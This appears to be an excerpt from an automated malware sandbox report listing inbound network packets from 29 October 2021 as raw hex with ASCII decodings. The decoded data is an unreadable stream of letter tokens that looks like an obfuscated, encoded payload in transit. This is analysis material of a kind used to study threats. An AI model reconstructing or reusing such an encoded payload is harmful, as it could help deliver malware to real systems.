2021-10-29 18:29:49 UTC	9	IN	Data Raw: 57 20 58 20 57 4f 20 57 6d 20 4d 6d 20 4d 4f 20 45 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 4d 20 57 70 20 70 4f 20 71 71 4f 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 70 20 57 70 20 57 6d 20 44 70 20 4a 70 57 20 71 4a 45 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 4a 44 20 57 44 20 57 4f 20 57 6d 20 58 4a 20 71 4a 44 20 71 71 6d 20 70 4f 20 4a 71 4d 20 57 4f 20 6d 58 20 57 4a 20 70 45 20 58 4f 20 4d 4d 20 71 71 70 20 71 71 70 20 4a 57 70 20 71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 4a 4a 4a 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 70 57 20 58 6d 20 71 71 6d 20 71 71 57 20 45 57 20 71 4f 4a 20 70 70 20 57 70 20 71 4f 20 4a 70 6d 20 Data Ascii: W X WO Wm Mm MO ED qOM qqJ WD WM Wp pO qqO qqm qqE qOp Mp Wp Wm Dp JpW qJE qqW qqE qOM qqm JD WD WO Wm XJ qJD qqm pO JqM WO mX WJ pE XO MM qqp qqp JWp qOm mX WO WW qqp qDJ JJJ qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX Mp qpW Xm qqm qqW EW qOJ pp Wp qO Jpm
2021-10-29 18:29:49 UTC	10	IN	Data Raw: 20 57 6d 20 58 6d 20 71 71 6d 20 70 58 20 71 4f 58 20 71 71 4a 20 57 4f 20 71 4f 57 20 57 71 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 44 71 20 6d 58 20 57 4f 20 57 57 20 45 4d 20 44 44 20 71 71 57 20 71 4f 4d 20 57 4a 20 6d 58 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 4f 4f 20 70 4f 20 45 4d 20 57 4f 20 6d 58 20 57 44 20 44 4f 20 58 44 20 71 71 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 4a 70 4f 20 71 6d 4f 20 71 71 6d 20 71 71 45 20 71 4f 57 20 58 58 20 57 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 45 6d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 4d 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 71 20 71 71 6d 20 44 4d 20 45 6d 20 57 4f 20 6d 58 20 57 44 20 4a 45 20 58 70 20 71 71 44 20 71 4a 4f 20 71 Data Ascii: Wm Xm qqm pX qOX qqJ WO qOW Wq Wm Xm qqp qqE qOM qqJ Dq mX WO WW EM DD qqW qOM WJ mX mX WO Wp Xm qqm qOO pO EM WO mX WD DO XD qqq JmX WW qqJ WO mM Jp JpO qmO qqm qqE qOW XX W mX WO DO pM Em qqE qOM qJJ JD M WO Wm Mm qJq qqm DM Em WO mX WD JE Xp qqD qJO q
2021-10-29 18:29:49 UTC	12	IN	Data Raw: 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 4a 71 6d 20 57 4f 20 57 6d 20 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4d 70 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 20 45 4a 20 57 71 20 6d 58 20 57 4a 20 70 4d 20 58 70 20 4d 4d 20 71 71 70 20 71 4a 6d 20 71 71 45 20 6d 57 20 44 70 20 71 4d 71 20 71 4f 58 20 58 6d 20 71 71 6d 20 71 71 44 20 45 4a 20 71 44 4f 20 71 57 57 20 6d 58 20 57 4f 20 57 4f 20 71 4a 6d 20 44 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 57 20 58 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 4a 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 44 20 4a 44 20 6d 58 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 20 45 6d 20 57 71 20 6d 58 20 Data Ascii: E qOX XW JJD Jqm WO Wm XO MO DD qOM qqJ WD DE qO Wm Xm qJO JD qMp qqJ WO Wm Mp qp Xm qqm qJE J EJ Wq mX WJ pM Xp MM qqp qJm qqE mW Dp qMq qOX Xm qqm qqD EJ qDO qWW mX WO WO qJm DM qqE qOM qJJ DW X WO Wm Mm JM JqE qOM qqJ WJ WD JD mX Xm qqm qqW J Em Wq mX
2021-10-29 18:29:49 UTC	13	IN	Data Raw: 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 71 70 4a 20 57 4f 20 57 6d 20 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4d 70 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4a 44 20 71 71 4d 20 70 57 20 57 57 20 6d 70 20 71 58 45 20 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 71 57 4d 20 57 4f 20 57 6d 20 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 6d 57 20 71 71 4a 20 57 4f 20 57 58 20 70 71 20 6d 71 20 44 4d 20 71 71 45 20 71 4f 58 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71 4d 20 71 70 4a 20 71 6d 6d 20 71 71 45 20 71 Data Ascii: m qqm qqE qOX XW JJD qpJ WO Wm XO MO DD qOM qqJ WD DE qO Wm Xm qJO JD qMp qqJ WO Wm Mp qp Xm qqm qJE qJD qqM pW WW mp qXE qm qqm qqE qOX XW JJD qWM WO Wm XO MO DD qOM qqJ WD DE qO Wm Xm qJO JD mW qqJ WO WX pq mq DM qqE qOX JJm mJ WO mX Wq qM qpJ qmm qqE q
2021-10-29 18:29:49 UTC	14	IN	Data Raw: 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 4f 4f 20 70 70 20 57 6d 20 70 57 20 57 4f 20 44 4d 20 71 71 4d 20 71 4f 44 20 71 4a 4f 20 4a 57 70 20 71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 71 57 45 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 57 6d 20 58 6d 20 71 71 6d 20 71 71 57 20 71 4f 71 20 58 58 20 57 4a 20 6d 58 20 57 4f 20 6d 58 20 70 58 20 71 20 71 71 4d 20 71 4f 4d 20 4f 20 45 44 20 6d 44 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 71 4f 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 70 57 20 57 70 20 44 4d 20 71 44 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4d 20 57 58 20 70 70 20 57 58 20 70 4d 20 58 4f 20 4d 4d 20 71 71 4a 20 71 71 6d 20 71 4a 6d Data Ascii: qqW qqE qOM qOO pp Wm pW WO DM qqM qOD qJO JWp qOm mX WO WW qqp qDJ qWE qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX Mp qWm Xm qqm qqW qOq XX WJ mX WO mX pX q qqM qOM O ED mD WO Wm Mm JM qOD qOM qqJ WD pW Wp DM qD qqW qqE qOE MM WX pp WX pM XO MM qqJ qqm qJm
2021-10-29 18:29:49 UTC	16	IN	Data Raw: 6d 20 71 4a 45 20 71 71 6d 20 44 20 71 20 6d 4a 20 6d 58 20 70 70 20 57 4d 20 58 57 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 6d 57 20 71 20 71 20 57 45 20 58 45 20 4d 4f 20 44 4a 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 4f 20 4a 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 71 57 20 71 4f 70 20 4d 71 20 44 4f 20 57 4f 20 70 44 20 70 6d 20 71 4a 6d 20 58 6d 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4d 70 20 71 71 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 4f 20 71 45 71 20 71 71 4f 20 58 44 20 4a 70 44 20 6d 58 20 57 4a 20 4a 58 20 58 57 20 4d 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 6d 20 57 4f 20 70 20 71 71 71 20 71 71 6d 20 71 71 58 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 70 70 20 44 20 58 44 20 71 71 6d 20 58 4a 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 57 20 Data Ascii: m qJE qqm D q mJ mX pp WM XW qqE qOM qJJ mW q q WE XE MO DJ qOM qqJ WD WO JD mO Xm qqm qqW qOp Mq DO WO pD pm qJm Xm qqE qOM qqX Mp qq WO Wm Mm qJO qEq qqO XD JpD mX WJ JX XW MX qqE qOM qqJ WO Wm WO p qqq qqm qqX MX qqJ WO mM pp D XD qqm XJ qOM qqJ WO WW
2021-10-29 18:29:49 UTC	17	IN	Data Raw: 20 71 71 4a 20 57 4f 20 4a 45 20 4d 70 20 4a 6d 58 20 58 57 20 71 71 6d 20 71 71 57 20 4a 20 71 44 71 20 57 71 20 6d 58 20 57 4a 20 44 4f 20 71 70 58 20 71 71 70 20 58 70 20 71 45 4d 20 71 71 4a 20 4a 70 44 20 57 71 20 4a 4f 20 4a 70 4a 20 58 6d 20 71 71 44 20 4d 57 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 71 70 20 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 45 20 6d 4d 20 57 4f 20 57 6d 20 45 44 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 58 70 20 57 71 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 71 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 6d 20 57 71 20 57 6d 20 58 6d 20 4d 4f 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 6d 4d 20 6d 58 Data Ascii: qqJ WO JE Mp JmX XW qqm qqW J qDq Wq mX WJ DO qpX qqp Xp qEM qqJ JpD Wq JO JpJ Xm qqD MW qOM qqJ WO qqp D Wm Xm qqm qqE qOM qqJ WE mM WO Wm ED qqm qqE qOM Xp Wq mX WO Wp Xm qqm qqE MX qqJ WO mM WO Wm Xm qqm qJq qOM qqJ WO mm Wq Wm Xm MO qqD qOM qqJ mM mX
2021-10-29 18:29:49 UTC	18	IN	Data Raw: 4f 20 71 71 6d 20 4d 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 4a 20 71 71 6d 20 4a 6d 4d 20 4a 57 57 20 71 71 4a 20 6d 4d 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 57 20 71 71 4a 20 71 71 6d 20 6d 4d 20 57 4f 20 57 6d 20 4d 57 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 70 20 71 4a 71 20 6d 4d 20 57 4f 20 6d 58 20 4d 6d 20 71 71 4a 20 4a 44 20 57 4a 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 4f 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 4a 20 45 4a 20 71 6d 57 20 6d 58 20 57 4f 20 57 6d 20 58 70 20 4a 4d 20 71 4a 4a 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 58 20 70 45 20 57 6d 20 58 6d 20 71 71 57 20 71 4a 71 20 71 4f 71 20 70 71 20 71 71 4f 20 6d 58 20 57 4f 20 44 4f 20 70 58 20 4a 6d 45 20 71 71 4d 20 71 Data Ascii: O qqm ME qOM qqJ WO mX WO Wm XJ qqm JmM JWW qqJ mM WX WO Wm XW qOW DM qOW qqJ qqm mM WO Wm MW qqm qqE qJm p qJq mM WO mX Mm qqJ JD WJ qqJ WO WX Mp qOM Xm qqm qJE qOJ EJ qmW mX WO Wm Xp JM qJJ qOM qqJ WD DX pE Wm Xm qqW qJq qOq pq qqO mX WO DO pX JmE qqM q
2021-10-29 18:29:49 UTC	20	IN	Data Raw: 4f 4d 20 71 71 4a 20 70 57 20 44 45 20 6d 70 20 57 6d 20 58 6d 20 71 4a 4f 20 71 4a 45 20 71 71 71 20 71 6d 20 6d 58 20 6d 4d 20 57 4f 20 57 4f 20 71 71 70 20 4d 57 20 4d 58 20 45 57 20 71 6d 20 57 71 20 6d 4d 20 57 4f 20 57 4f 20 71 45 4f 20 71 71 44 20 71 57 71 20 71 4f 58 20 71 71 4a 20 57 4a 20 44 45 20 6d 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 58 4f 20 4a 70 45 20 71 71 6d 20 57 71 20 6d 58 20 57 6d 20 70 4f 20 58 57 20 71 71 6d 20 71 71 45 20 45 4f 20 70 71 20 6d 44 20 6d 58 20 57 4f 20 44 4f 20 4d 57 20 45 6d 20 44 6d 20 71 4f 58 20 71 71 4a 20 57 4f 20 57 57 20 4d 70 20 6d 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 4d 45 20 71 4a 4f 20 6d 4a 20 70 4d 20 70 45 20 71 58 45 20 71 4a 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 70 44 20 6d 45 20 6d 4a 20 Data Ascii: OM qqJ pW DE mp Wm Xm qJO qJE qqq qm mX mM WO WO qqp MW MX EW qm Wq mM WO WO qEO qqD qWq qOX qqJ WJ DE mO Wm Xm qJO XO JpE qqm Wq mX Wm pO XW qqm qqE EO pq mD mX WO DO MW Em Dm qOX qqJ WO WW Mp mp Xm qqm qJE ME qJO mJ pM pE qXE qJ qqm qqE qOX XW pD mE mJ
2021-10-29 18:29:49 UTC	21	IN	Data Raw: 57 6d 20 71 70 58 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 6d 4f 20 57 71 20 6d 58 20 57 4f 20 57 44 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 45 4a 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 45 20 57 71 20 57 6d 20 58 6d 20 4a 44 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 6d 4d 20 6d 58 20 57 4f 20 57 6d 20 4d 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 71 71 6d 20 57 4f 20 6d 58 20 57 4f 20 45 20 58 6d 20 71 71 6d 20 71 71 45 20 6d 4a 20 71 71 70 20 57 4f 20 6d 58 20 45 6d 20 57 57 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 58 20 57 4f 20 57 6d 20 6d 4a 20 71 71 57 20 71 Data Ascii: Wm qpX qqm qqE qOM mO Wq mX WO WD Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm EJ qOM qqJ WO JE Wq Wm Xm JD qqD qOM qqJ mM mX WO Wm Mm qqm qqE qOX qqm WO mX WO E Xm qqm qqE mJ qqp WO mX Em WW Xm qqm qJE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WJ mX WO Wm mJ qqW q
2021-10-29 18:29:49 UTC	22	IN	Data Raw: 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4d 70 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 6d 4d 20 57 4f 20 6d 58 20 57 44 20 58 4d 20 4d 58 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 45 20 57 4a 20 57 44 20 70 57 20 57 4f 20 45 58 20 4a 57 57 20 6d 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 4a 71 20 4a 4a 44 20 4a 4f 58 20 58 6d 20 71 71 6d 20 71 71 70 20 44 4d 20 45 71 20 57 4f 20 6d 58 20 57 44 20 44 4d 20 71 4f 58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 70 71 20 71 57 58 20 6d 58 20 57 4f 20 6d 58 20 57 4d 20 45 70 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4d 70 20 58 20 57 71 20 57 6d 20 58 4a 20 4d 4d 20 71 71 57 20 71 4f 71 20 4d Data Ascii: XO MO DD qOM qqJ WD DE qO Wm Xm qJO JD qMp qqJ WO Wm Mp qp Xm qqm qJE DM mM WO mX WD XM MX qqW qqE qOE ME WJ WD pW WO EX JWW mE qOM qqJ Wq Jq JJD JOX Xm qqm qqp DM Eq WO mX WD DM qOX qqm qqE qOp pq qWX mX WO mX WM Ep qqE qOM qJJ Mp X Wq Wm XJ MM qqW qOq M
2021-10-29 18:29:49 UTC	24	IN	Data Raw: 6d 6d 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 71 6d 20 71 71 4a 20 57 4f 20 57 58 20 70 6d 20 57 6d 20 58 44 20 71 4f 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 70 4a 20 45 57 20 6d 44 20 4a 70 4a 20 71 4a 4a 20 70 71 20 58 57 20 6d 58 20 57 4f 20 44 4f 20 4d 57 20 71 71 45 20 71 4f 4d 20 4a 6d 45 20 71 71 4f 20 71 4d 71 20 71 4f 44 20 57 4f 20 57 6d 20 58 57 20 58 45 20 71 44 57 20 4a 6d 70 20 71 71 4a 20 57 4f 20 57 4a 20 4a 44 20 71 20 58 6d 20 71 71 6d 20 71 4a 45 20 70 4f 20 45 4a 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 4d 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 4a 20 57 4a 20 57 57 20 70 45 20 71 45 4a 20 4d 6d 20 58 4d 20 71 71 70 20 71 4f 44 20 71 4f 4a 20 71 44 58 20 57 58 20 4a 70 44 20 57 70 20 71 71 6d 20 71 45 4a Data Ascii: mm Wm Xm qJO JD qqm qqJ WO WX pm Wm XD qOq JmX WW qqJ WO mM Jp pJ EW mD JpJ qJJ pq XW mX WO DO MW qqE qOM JmE qqO qMq qOD WO Wm XW XE qDW Jmp qqJ WO WJ JD q Xm qqm qJE pO EJ WO mX WD pO M qqm qqE qOp MJ WJ WW pE qEJ Mm XM qqp qOD qOJ qDX WX JpD Wp qqm qEJ
2021-10-29 18:29:49 UTC	25	IN	Data Raw: 45 20 71 44 57 20 71 44 4a 20 71 71 4a 20 57 4f 20 57 4a 20 4a 44 20 71 20 58 6d 20 71 71 6d 20 71 4a 45 20 70 4f 20 45 4a 20 57 4f 20 6d 58 20 57 44 20 44 58 20 6d 4d 20 71 71 70 20 71 71 45 20 4a 4d 20 71 6d 20 6d 6d 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 71 4f 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4d 70 20 4d 4a 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 6d 70 20 71 4f 4d 20 71 71 4a 20 57 44 20 70 57 20 57 45 20 70 4d 20 4d 6d 20 4d 4f 20 45 70 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 4d 20 4d 4a 20 70 4d 20 4d 57 20 4d 4f 20 45 70 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 4d 20 58 45 20 70 4f 20 57 4a 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 45 20 57 44 20 4a 6d 20 71 4a 71 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4a 20 71 71 4a 20 57 4f 20 57 58 Data Ascii: E qDW qDJ qqJ WO WJ JD q Xm qqm qJE pO EJ WO mX WD DX mM qqp qqE JM qm mm mX WO DO qJm qOM qqE qOM qJJ Mp MJ WO Wm Mm JM mp qOM qqJ WD pW WE pM Mm MO Ep qOM qqJ WD JM MJ pM MW MO Ep qOM qqJ WD JM XE pO WJ qqm qqE qOp ME WD Jm qJq Wm Xm qJO JD qJ qqJ WO WX
2021-10-29 18:29:49 UTC	26	IN	Data Raw: 4d 4f 20 44 58 20 57 4f 20 4a 44 20 70 57 20 58 6d 20 71 71 6d 20 71 71 57 20 70 71 20 58 57 20 57 6d 20 6d 58 20 44 44 20 70 4f 20 71 6d 71 20 71 71 6d 20 71 71 45 20 71 4f 45 20 58 58 20 57 44 20 6d 58 20 57 4f 20 4a 4d 20 58 45 20 71 71 58 20 4a 44 20 71 70 70 20 71 71 70 20 57 4f 20 57 6d 20 4a 6d 20 57 6d 20 45 71 20 44 44 20 71 4a 44 20 71 4f 4d 20 4d 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 71 71 20 58 58 20 70 4d 20 6d 58 20 57 4f 20 6d 58 20 70 58 20 6d 57 20 71 71 70 20 71 4f 4d 20 4f 20 4a 44 20 4a 70 70 20 57 4f 20 57 6d 20 58 4a 20 4d 4f 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 4a 57 20 57 71 20 57 6d 20 57 71 20 4d 4f 20 71 71 58 20 71 4a 70 20 71 4f 6d 20 71 4a 44 20 57 4a 20 44 4a 20 57 70 20 57 44 20 4d Data Ascii: MO DX WO JD pW Xm qqm qqW pq XW Wm mX DD pO qmq qqm qqE qOE XX WD mX WO JM XE qqX JD qpp qqp WO Wm Jm Wm Eq DD qJD qOM MJ WO mX WO Wm Xm qqm qqE qqq XX pM mX WO mX pX mW qqp qOM O JD Jpp WO Wm XJ MO qJD qOM qqJ JW Wq Wm Wq MO qqX qJp qOm qJD WJ DJ Wp WD M
2021-10-29 18:29:49 UTC	28	IN	Data Raw: 71 4f 45 20 71 58 45 20 44 4f 20 71 71 6d 20 71 71 45 20 71 4f 58 20 71 4a 57 20 57 70 20 57 57 20 71 58 58 20 4d 57 20 45 57 20 4d 58 20 6d 6d 20 71 4f 71 20 71 4f 4a 20 6d 57 20 70 4a 20 4a 44 20 58 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 44 20 71 4f 4a 20 57 4d 20 70 58 20 57 70 20 71 58 6d 20 44 71 20 71 4a 4a 20 4a 57 71 20 6d 20 6d 71 20 4a 44 20 4d 57 20 57 4f 20 57 6d 20 4d 6d 20 71 20 71 4f 4a 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 71 20 57 4a 20 70 6d 20 4d 70 20 71 4a 4a 20 4a 44 20 45 45 20 71 71 4a 20 57 4f 20 57 6d 20 70 70 20 57 4f 20 71 70 58 20 71 71 4d 20 58 70 20 71 45 4d 20 71 71 4a 20 70 58 20 4a 44 20 70 57 20 57 4f 20 71 4a 44 20 71 71 6d 20 71 71 45 20 71 4f 58 20 4d 44 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 45 6d 20 71 71 6d Data Ascii: qOE qXE DO qqm qqE qOX qJW Wp WW qXX MW EW MX mm qOq qOJ mW pJ JD XM Xm qqm qJE qOD qOJ WM pX Wp qXm Dq qJJ JWq m mq JD MW WO Wm Mm q qOJ qOM qqJ WJ Wq WJ pm Mp qJJ JD EE qqJ WO Wm pp WO qpX qqM Xp qEM qqJ pX JD pW WO qJD qqm qqE qOX MD WO mX WO Wm Em qqm
2021-10-29 18:29:49 UTC	29	IN	Data Raw: 20 70 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 45 4a 20 4a 6d 20 45 71 20 57 6d 20 58 6d 20 71 4a 4f 20 71 71 4a 20 4a 20 4f 20 57 4f 20 6d 58 20 57 44 20 44 71 20 58 44 20 71 71 44 20 45 20 4a 6d 4f 20 71 71 45 20 57 4f 20 44 6d 20 57 70 20 6d 4d 20 4a 71 58 20 4a 45 20 4d 4d 20 44 4d 20 71 4f 45 20 57 4f 20 6d 58 20 57 4a 20 4a 44 20 58 4a 20 71 20 6d 20 71 4f 4d 20 71 71 4a 20 57 44 20 45 6d 20 57 4a 20 4a 58 20 45 71 20 44 44 20 71 4a 45 20 71 4f 4d 20 4a 6d 71 20 57 4f 20 6d 58 20 57 4f 20 70 57 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 71 71 20 71 71 57 20 44 6d 20 71 70 57 20 57 57 20 57 6d 20 70 44 20 4d 4f 20 58 71 20 71 4f 4d 20 71 71 4a 20 57 4a 20 70 58 20 4a 44 20 44 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 70 20 71 71 58 20 4a 44 20 45 4f 20 Data Ascii: p qqE qOM qJJ EJ Jm Eq Wm Xm qJO qqJ J O WO mX WD Dq XD qqD E JmO qqE WO Dm Wp mM JqX JE MM DM qOE WO mX WJ JD XJ q m qOM qqJ WD Em WJ JX Eq DD qJE qOM Jmq WO mX WO pW Xm qqm qOO qqq qqW Dm qpW WW Wm pD MO Xq qOM qqJ WJ pX JD DM Xm qqm qJE qOp qqX JD EO
2021-10-29 18:29:49 UTC	30	IN	Data Raw: 4a 6d 20 58 4a 20 57 6d 20 58 6d 20 71 4a 4f 20 71 4f 44 20 4d 45 20 4a 57 70 20 71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 71 70 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4a 44 20 58 58 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 71 71 20 70 71 20 44 44 20 6d 58 20 57 4f 20 44 4f 20 58 45 20 71 71 58 20 4d 70 20 45 6d 20 71 71 4a 20 57 4f 20 57 6d 20 4d 70 20 58 45 20 58 6d 20 71 71 6d 20 71 4a 45 20 45 71 20 71 71 4a 20 57 4f 20 6d 70 20 4a 20 57 70 20 58 6d 20 71 71 71 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 70 70 20 6d 58 20 57 4f 20 70 4d 20 58 44 20 4d 6d 20 71 71 70 20 71 71 71 20 4a 57 6d 20 70 71 20 57 4a 20 70 58 20 44 4f 20 71 70 58 20 4d 58 20 Data Ascii: Jm XJ Wm Xm qJO qOD ME JWp qOm mX WO WW qqp qDJ qpW qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX JD XX Xm qqm qJE qqq pq DD mX WO DO XE qqX Mp Em qqJ WO Wm Mp XE Xm qqm qJE Eq qqJ WO mp J Wp Xm qqq qqE qOM qqJ pp mX WO pM XD Mm qqp qqq JWm pq WJ pX DO qpX MX
2021-10-29 18:29:49 UTC	31	IN	Data Raw: 70 20 71 4a 20 71 4f 44 20 6d 4f 20 44 6d 20 71 4a 6d 20 57 4a 20 44 44 20 71 71 44 20 6d 4d 20 58 6d 20 4a 20 4d 70 20 45 4f 20 71 71 4a 20 57 4f 20 57 58 20 57 44 20 6d 4d 20 44 45 20 6d 4a 20 71 4a 44 20 71 4f 44 20 71 71 6d 20 4d 70 20 71 45 58 20 57 4f 20 57 6d 20 4d 6d 20 45 45 20 70 4d 20 71 6d 44 20 71 6d 70 20 4a 4f 57 20 57 6d 20 4a 6d 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 4a 20 4d 70 20 71 71 45 20 57 4f 20 71 71 4a 20 57 4f 20 57 6d 20 58 6d 20 71 4f 45 20 71 71 45 20 71 4f 4d 20 4d 45 20 44 57 20 71 45 4d 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 4f 20 4d 4d 20 71 4f 4a 20 4d 71 20 4a 4f 20 57 6d 20 6d 58 20 6d 4d 20 57 4d 20 58 57 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 6d 4d 20 57 57 20 6d 4d 20 58 4d 20 4a 4f 58 20 71 71 6d 20 71 71 45 20 71 4f Data Ascii: p qJ qOD mO Dm qJm WJ DD qqD mM Xm J Mp EO qqJ WO WX WD mM DE mJ qJD qOD qqm Mp qEX WO Wm Mm EE pM qmD qmp JOW Wm Jm Wm Xm qqm qOJ Mp qqE WO qqJ WO Wm Xm qOE qqE qOM ME DW qEM WO Wm Mm qJO MM qOJ Mq JO Wm mX mM WM XW qqE qOM qJJ mM WW mM XM JOX qqm qqE qO
